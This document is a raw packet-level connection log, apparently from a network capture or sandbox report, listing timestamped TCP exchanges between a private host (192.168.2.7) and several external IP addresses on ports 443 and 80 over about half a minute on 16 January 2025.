Jan 16, 2025 17:15:44.866750002 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.871562004 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.916338921 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.916368961 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.916425943 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.920927048 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.921082973 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.925905943 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.956043005 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.959326029 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.973349094 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.973364115 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:44.973432064 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.977334023 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.977871895 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:44.982692003 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.034259081 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.034279108 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.034404993 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.037563086 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.037678003 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.042593956 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.116179943 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.120304108 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.167264938 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.170813084 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.223155022 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.307493925 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.311433077 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.316363096 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.370385885 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.370425940 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.370475054 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.374624014 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.374840021 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.379574060 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.379734993 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.425076008 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.425090075 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.425201893 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.428077936 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.428167105 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.432900906 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.432934999 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.504431963 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.507354021 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.512268066 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.557398081 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.557420969 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.557559967 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.560509920 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.560777903 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.565299034 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.565624952 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821067095 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821202040 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821218014 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821250916 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.821302891 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821316004 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821329117 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821342945 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.821366072 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.821769953 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.821830034 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.824908018 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.825090885 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.825699091 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.825769901 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.826493979 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.829981089 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.830543995 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.830557108 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.831279039 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.930768967 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.930783033 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.930897951 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.933788061 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.938740015 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.938788891 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.938806057 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:45.938867092 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.941297054 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.941545010 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:45.946369886 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.031182051 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.034159899 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.034286976 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.039118052 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.057807922 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.057828903 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.057921886 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.061489105 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.061613083 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.066485882 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.283565998 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.283581018 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.283601046 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.283615112 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.283627987 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.283655882 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.283731937 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.283763885 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.287410021 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.287502050 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.287642002 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.288343906 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.288641930 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.297290087 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.398304939 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.398365974 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.398497105 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.400109053 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.400144100 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.400204897 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.403059006 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.403121948 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.403470993 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.404143095 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.404282093 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.407912016 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.409018993 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.451142073 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.510888100 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.510905027 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.510993004 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.514139891 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.516736031 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.516781092 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.516814947 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.516858101 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.519701004 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.519932985 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.520077944 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.520502090 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.524774075 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.524874926 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.525244951 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.601228952 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.604186058 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.609049082 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.631980896 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.631998062 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.632006884 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.632117033 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.634999037 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.635255098 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.640002012 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.701581001 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.704327106 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.704554081 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.728734016 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.730068922 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.732958078 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.748655081 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.748691082 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.748788118 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.751636982 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.752439022 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.757225037 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.824580908 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.827617884 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.830838919 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.831001997 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.833121061 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.838498116 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.840998888 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.843080044 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.865585089 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.865720034 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.865796089 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.868484020 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.868680000 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.874180079 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.941210985 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.943967104 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.949074984 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.949090004 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.949153900 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.951359034 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.951458931 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.956989050 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.981849909 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.981863976 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:46.981920958 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.984591007 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.984677076 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:46.990215063 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.137259960 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.137280941 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.137362003 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.137386084 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.137399912 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.137419939 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.137429953 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.137470007 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.141410112 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.141565084 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.142524004 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.142693996 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.146394968 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.147464991 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.149545908 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.151989937 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.168364048 CET	49675	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:47.168740034 CET	49674	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:47.199135065 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.249253988 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.252190113 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.254746914 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.254760981 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.254813910 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.255774021 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.255786896 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.255848885 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.256964922 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.257853985 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.257915020 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.258527994 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.264000893 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.347086906 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.350204945 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.355022907 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.356720924 CET	49672	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:47.365518093 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.365533113 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.365546942 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.365576982 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.366705894 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.366769075 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.366780043 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.368626118 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.369874001 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.369975090 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.370774984 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.374635935 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.375596046 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.455585957 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.455600023 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.455624104 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.455658913 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.459053993 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.473923922 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.473948956 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.473958969 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.474023104 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.476905107 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.481956005 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.481967926 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.482023954 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.482547998 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.482559919 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.482639074 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.485433102 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.486164093 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.486203909 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.490895033 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.531074047 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.566298008 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.569323063 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.574516058 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.582803965 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.585305929 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.598953962 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.598997116 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.599045992 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.601737976 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.602015972 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.606821060 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.666933060 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.683053970 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.683248043 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:47.698930025 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.731831074 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.731846094 CET	443	49700	13.107.253.45	192.168.2.7
Jan 16, 2025 17:15:47.731920004 CET	49700	443	192.168.2.7	13.107.253.45
Jan 16, 2025 17:15:49.838191986 CET	443	49699	104.98.116.138	192.168.2.7
Jan 16, 2025 17:15:49.838819027 CET	49699	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:54.920540094 CET	49677	443	192.168.2.7	20.50.201.200
Jan 16, 2025 17:15:58.226950884 CET	49699	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:58.230478048 CET	49708	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:58.230531931 CET	443	49708	104.98.116.138	192.168.2.7
Jan 16, 2025 17:15:58.230675936 CET	49708	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:58.231236935 CET	49708	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:15:58.231254101 CET	443	49708	104.98.116.138	192.168.2.7
Jan 16, 2025 17:15:58.231812954 CET	443	49699	104.98.116.138	192.168.2.7
Jan 16, 2025 17:16:00.615428925 CET	49708	443	192.168.2.7	104.98.116.138
Jan 16, 2025 17:16:04.604018927 CET	49717	80	192.168.2.7	23.209.209.135
Jan 16, 2025 17:16:04.609229088 CET	80	49717	23.209.209.135	192.168.2.7
Jan 16, 2025 17:16:04.609386921 CET	49717	80	192.168.2.7	23.209.209.135
Jan 16, 2025 17:16:04.609507084 CET	49717	80	192.168.2.7	23.209.209.135
Jan 16, 2025 17:16:04.614288092 CET	80	49717	23.209.209.135	192.168.2.7
Jan 16, 2025 17:16:05.253392935 CET	80	49717	23.209.209.135	192.168.2.7
Jan 16, 2025 17:16:05.253407955 CET	80	49717	23.209.209.135	192.168.2.7
Jan 16, 2025 17:16:05.253448963 CET	49717	80	192.168.2.7	23.209.209.135
Jan 16, 2025 17:16:15.469928980 CET	49717	80	192.168.2.7	23.209.209.135
Jan 16, 2025 17:16:17.378030062 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:17.378060102 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:17.378179073 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:17.378622055 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:17.378633022 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.168287039 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.174804926 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.174819946 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.176032066 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.176172018 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.177570105 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.177655935 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.178026915 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.178040028 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.224333048 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.780394077 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.780488968 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.780569077 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.782166004 CET	49722	443	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.782185078 CET	443	49722	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.913772106 CET	49725	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.915079117 CET	49726	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.918628931 CET	80	49725	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.918709993 CET	49725	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.919925928 CET	80	49726	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:18.920005083 CET	49726	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.926410913 CET	49726	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:18.931365013 CET	80	49726	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:19.775774956 CET	80	49726	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:19.829298019 CET	49726	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:19.858458996 CET	49726	80	192.168.2.7	66.63.187.216
Jan 16, 2025 17:16:19.863409996 CET	80	49726	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:20.053307056 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.053373098 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.053442955 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.053749084 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.053759098 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.053812027 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.053981066 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.053993940 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.054223061 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.054234982 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.219535112 CET	80	49726	66.63.187.216	192.168.2.7
Jan 16, 2025 17:16:20.260972023 CET	49726	80	192.168.2.7	66.63.187.216
